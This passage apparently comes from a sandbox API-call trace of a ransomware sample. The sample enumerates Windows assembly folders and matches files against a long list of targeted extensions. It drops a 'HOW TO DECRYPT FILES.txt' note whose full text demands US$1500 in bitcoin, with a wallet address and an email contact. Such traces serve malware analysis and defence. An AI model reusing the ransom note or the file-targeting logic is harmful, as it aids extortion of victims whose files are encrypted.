(pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Management.dll", pszSpec="*.dot") returned 0 [0100.462] lstrlenA (lpString="*.dot") returned 5 [0100.462] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Management.dll", pszSpec="*.docx") returned 0 [0100.462] lstrlenA (lpString="*.docx") returned 6 [0100.462] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Management.dll", pszSpec="*.7z") returned 0 [0100.462] lstrlenA (lpString="*.7z") returned 4 [0100.462] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Management.dll", pszSpec="*.tar") returned 0 [0100.462] lstrlenA (lpString="*.tar") returned 5 [0100.462] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Management.dll", pszSpec="*.bz2") returned 0 [0100.462] lstrlenA (lpString="*.bz2") returned 5 [0100.462] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Management.dll", pszSpec="*.gz") returned 0 [0100.462] lstrlenA (lpString="*.gz") returned 4 [0100.462] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Management.dll", pszSpec="*.mkv") returned 0 [0100.463] lstrlenA (lpString="*.mkv") returned 5 [0100.463] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Management.dll", pszSpec="*.eml") returned 0 [0100.463] lstrlenA (lpString="*.eml") returned 5 [0100.463] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Management.dll", pszSpec="*.msg") returned 0 [0100.463] lstrlenA (lpString="*.msg") returned 5 [0100.463] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Management.dll", pszSpec="*.edb") returned 0 [0100.463] lstrlenA (lpString="*.edb") returned 5 [0100.463] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Management.dll", pszSpec="*.accdb") returned 0 [0100.463] lstrlenA (lpString="*.accdb") returned 7 [0100.463] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Management.dll", pszSpec="*.odb") returned 0 [0100.463] lstrlenA (lpString="*.odb") returned 5 [0100.463] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Management.dll", pszSpec="*.java") returned 0 [0100.463] lstrlenA (lpString="*.java") returned 6 [0100.463] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Management.dll", pszSpec="*.asm") returned 0 [0100.463] lstrlenA (lpString="*.asm") returned 5 [0100.463] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Management.dll", pszSpec="*.pfx") returned 0 [0100.463] lstrlenA (lpString="*.pfx") returned 5 [0100.463] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Management.dll", pszSpec="*.pem") returned 0 [0100.463] lstrlenA (lpString="*.pem") returned 5 [0100.463] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Management.dll", pszSpec="*.p12") returned 0 [0100.463] lstrlenA (lpString="*.p12") returned 5 [0100.463] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Management.dll", pszSpec="*.gpg") returned 0 [0100.463] lstrlenA (lpString="*.gpg") returned 5 [0100.464] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Management.dll", pszSpec="*.vsd") returned 0 [0100.464] lstrlenA (lpString="*.vsd") returned 5 [0100.464] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Management.dll", pszSpec="*.odg") returned 0 [0100.464] lstrlenA (lpString="*.odg") returned 5 [0100.464] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Management.dll", pszSpec="*.raw") returned 0 [0100.464] lstrlenA (lpString="*.raw") returned 5 [0100.464] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Management.dll", pszSpec="*.nef") returned 0 [0100.464] lstrlenA (lpString="*.nef") returned 5 [0100.464] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Management.dll", pszSpec="*.svg") returned 0 [0100.464] lstrlenA (lpString="*.svg") returned 5 [0100.464] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Management.dll", pszSpec="*.psd") returned 0 [0100.464] lstrlenA (lpString="*.psd") returned 5 [0100.464] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Management.dll", pszSpec="*.vmx") returned 0 [0100.464] lstrlenA (lpString="*.vmx") returned 5 [0100.464] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Management.dll", pszSpec="*.vmdk") returned 0 [0100.464] lstrlenA (lpString="*.vmdk") returned 6 [0100.464] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Management.dll", pszSpec="*.vdi") returned 0 [0100.464] lstrlenA (lpString="*.vdi") returned 5 [0100.464] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Management.dll", pszSpec="*.lay6") returned 0 [0100.464] lstrlenA (lpString="*.lay6") returned 6 [0100.464] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Management.dll", pszSpec="*.mpeg") returned 0 [0100.464] lstrlenA (lpString="*.mpeg") returned 6 [0100.464] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Management.dll", pszSpec="*.djvu") returned 0 [0100.464] lstrlenA (lpString="*.djvu") returned 6 [0100.465] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Management.dll", pszSpec="*.tiff") returned 0 [0100.465] lstrlenA (lpString="*.tiff") returned 6 [0100.465] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Management.dll", pszSpec="*.backup") returned 0 [0100.465] lstrlenA (lpString="*.backup") returned 8 [0100.465] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Management.dll", pszSpec="*.pdf") returned 0 [0100.465] lstrlenA (lpString="*.pdf") returned 5 [0100.465] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Management.dll", pszSpec="*.cert") returned 0 [0100.465] lstrlenA (lpString="*.cert") returned 6 [0100.465] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Management.dll", pszSpec="*.docm") returned 0 [0100.465] lstrlenA (lpString="*.docm") returned 6 [0100.465] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Management.dll", pszSpec="*.xlsm") returned 0 [0100.465] lstrlenA (lpString="*.xlsm") returned 6 [0100.465] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Management.dll", pszSpec="*.dwg") returned 0 [0100.465] lstrlenA (lpString="*.dwg") returned 5 [0100.465] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Management.dll", pszSpec="*.nd") returned 0 [0100.465] lstrlenA (lpString="*.nd") returned 4 [0100.465] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Management.dll", pszSpec="*.tlg") returned 0 [0100.465] lstrlenA (lpString="*.tlg") returned 5 [0100.465] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Management.dll", pszSpec="*.lgb") returned 0 [0100.465] lstrlenA (lpString="*.lgb") returned 5 [0100.465] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Management.dll", pszSpec="*.mov") returned 0 [0100.465] lstrlenA (lpString="*.mov") returned 5 [0100.465] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Management.dll", pszSpec="*.xdw") returned 0 [0100.466] lstrlenA (lpString="*.xdw") returned 5 [0100.466] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Management.dll", pszSpec="*.ods") returned 0 [0100.466] lstrlenA (lpString="*.ods") returned 5 [0100.466] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Management.dll", pszSpec="*.wav") returned 0 [0100.466] lstrlenA (lpString="*.wav") returned 5 [0100.466] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Management.dll", pszSpec="*.mp3") returned 0 [0100.466] lstrlenA (lpString="*.mp3") returned 5 [0100.466] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Management.dll", pszSpec="*.aiff") returned 0 [0100.466] lstrlenA (lpString="*.aiff") returned 6 [0100.466] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Management.dll", pszSpec="*.flac") returned 0 [0100.466] lstrlenA (lpString="*.flac") returned 6 [0100.466] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Management.dll", pszSpec="*.m4a") returned 0 [0100.466] lstrlenA (lpString="*.m4a") returned 5 [0100.466] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Management.dll", pszSpec="*.csv") returned 0 [0100.466] lstrlenA (lpString="*.csv") returned 5 [0100.466] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa861e4c9, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa861e4c9, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa861e4c9, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x46000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.WSMan.Management.dll", cAlternateFileName="")) returned 0 [0100.466] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0100.466] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x819dda40, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xc10d8578, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0xc10d8578, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="1.0.0.0__31bf3856ad364e35", cAlternateFileName="100~1.0__")) returned 0 [0100.466] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0100.467] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x38308564, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x38308564, ftLastAccessTime.dwHighDateTime=0x1ca0445, ftLastWriteTime.dwLowDateTime=0x38308564, ftLastWriteTime.dwHighDateTime=0x1ca0445, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x69004d, dwReserved1=0x720063, cFileName="Microsoft.WSMan.Management.Resources", cAlternateFileName="MIF57B~1.RES")) returned 1 [0100.467] lstrcmpA (lpString1=".", lpString2="Microsoft.WSMan.Management.Resources") returned -1 [0100.467] lstrcmpA (lpString1="..", lpString2="Microsoft.WSMan.Management.Resources") returned -1 [0100.467] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\*.*") returned="*.*" [0100.467] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\", lpString2="Microsoft.WSMan.Management.Resources" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management.Resources") returned="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management.Resources" [0100.467] lstrlenA (lpString="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management.Resources") returned 65 [0100.467] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management.Resources\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x38308564, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x38308564, ftLastAccessTime.dwHighDateTime=0x1ca0445, ftLastWriteTime.dwLowDateTime=0x38308564, ftLastWriteTime.dwHighDateTime=0x1ca0445, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0100.468] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0100.468] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x38308564, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x38308564, ftLastAccessTime.dwHighDateTime=0x1ca0445, ftLastWriteTime.dwLowDateTime=0x38308564, ftLastWriteTime.dwHighDateTime=0x1ca0445, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0100.468] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0100.468] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0100.468] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x38308564, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x1ef2c95d, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ef2c95d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="1.0.0.0_en_31bf3856ad364e35", cAlternateFileName="100~1.0_E")) returned 1 [0100.468] lstrcmpA (lpString1=".", lpString2="1.0.0.0_en_31bf3856ad364e35") returned -1 [0100.468] lstrcmpA (lpString1="..", lpString2="1.0.0.0_en_31bf3856ad364e35") returned -1 [0100.468] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management.Resources\\*.*") returned="*.*" [0100.468] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management.Resources\\", lpString2="1.0.0.0_en_31bf3856ad364e35" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management.Resources\\1.0.0.0_en_31bf3856ad364e35") returned="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management.Resources\\1.0.0.0_en_31bf3856ad364e35" [0100.468] lstrlenA (lpString="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management.Resources\\1.0.0.0_en_31bf3856ad364e35") returned 93 [0100.468] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management.Resources\\1.0.0.0_en_31bf3856ad364e35\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x38308564, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x1ef2c95d, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ef2c95d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0100.468] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0100.468] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x38308564, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x1ef2c95d, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ef2c95d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0100.468] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0100.469] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0100.469] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc8723b, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xe067905, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xdc8723b, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x3600, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.WSMan.Management.resources.dll", cAlternateFileName="")) returned 1 [0100.469] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0100.469] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.WSMan.Management.resources.dll") returned -1 [0100.469] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.WSMan.Management.resources.dll") returned -1 [0100.469] lstrcmpiA (lpString1="", lpString2="Microsoft.WSMan.Management.resources.dll") returned -1 [0100.469] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management.Resources\\1.0.0.0_en_31bf3856ad364e35\\*.*") returned="*.*" [0100.469] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management.Resources\\1.0.0.0_en_31bf3856ad364e35\\" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management.Resources\\1.0.0.0_en_31bf3856ad364e35\\") returned="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management.Resources\\1.0.0.0_en_31bf3856ad364e35\\" [0100.469] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management.Resources\\1.0.0.0_en_31bf3856ad364e35\\" | out: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management.Resources\\1.0.0.0_en_31bf3856ad364e35\\") returned="" [0100.469] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management.Resources\\1.0.0.0_en_31bf3856ad364e35\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management.Resources\\1.0.0.0_en_31bf3856ad364e35\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management.Resources\\1.0.0.0_en_31bf3856ad364e35\\HOW TO DECRYPT FILES.txt" [0100.469] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management.Resources\\1.0.0.0_en_31bf3856ad364e35\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\gac_msil\\microsoft.wsman.management.resources\\1.0.0.0_en_31bf3856ad364e35\\how to decrypt files.txt")) returned 0xffffffff [0100.469] CreateFileA (lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management.Resources\\1.0.0.0_en_31bf3856ad364e35\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\gac_msil\\microsoft.wsman.management.resources\\1.0.0.0_en_31bf3856ad364e35\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0100.470] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0100.470] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0100.472] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0100.472] CloseHandle (hObject=0x90) returned 1 [0100.472] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management.Resources\\1.0.0.0_en_31bf3856ad364e35\\", lpString2="Microsoft.WSMan.Management.resources.dll" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.WSMan.Management.resources.dll") returned="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.WSMan.Management.resources.dll" [0100.472] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.WSMan.Management.resources.dll", pszSpec="*.ems") returned 0 [0100.472] lstrlenA (lpString="*.ems") returned 5 [0100.472] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.WSMan.Management.resources.dll", pszSpec="*.db") returned 0 [0100.472] lstrlenA (lpString="*.db") returned 4 [0100.472] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.WSMan.Management.resources.dll", pszSpec="*.dbf") returned 0 [0100.472] lstrlenA (lpString="*.dbf") returned 5 [0100.472] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.WSMan.Management.resources.dll", pszSpec="*.myox") returned 0 [0100.472] lstrlenA (lpString="*.myox") returned 6 [0100.472] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.WSMan.Management.resources.dll", pszSpec="*.myo") returned 0 [0100.472] lstrlenA (lpString="*.myo") returned 5 [0100.472] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.WSMan.Management.resources.dll", pszSpec="*.qbw") returned 0 [0100.472] lstrlenA (lpString="*.qbw") returned 5 [0100.472] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.WSMan.Management.resources.dll", pszSpec="*.qbb") returned 0 [0100.473] lstrlenA (lpString="*.qbb") returned 5 [0100.473] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.WSMan.Management.resources.dll", pszSpec="*.qbm") returned 0 [0100.473] lstrlenA (lpString="*.qbm") returned 5 [0100.473] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.WSMan.Management.resources.dll", pszSpec="*.qbo") returned 0 [0100.473] lstrlenA (lpString="*.qbo") returned 5 [0100.473] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.WSMan.Management.resources.dll", pszSpec="*.qbx") returned 0 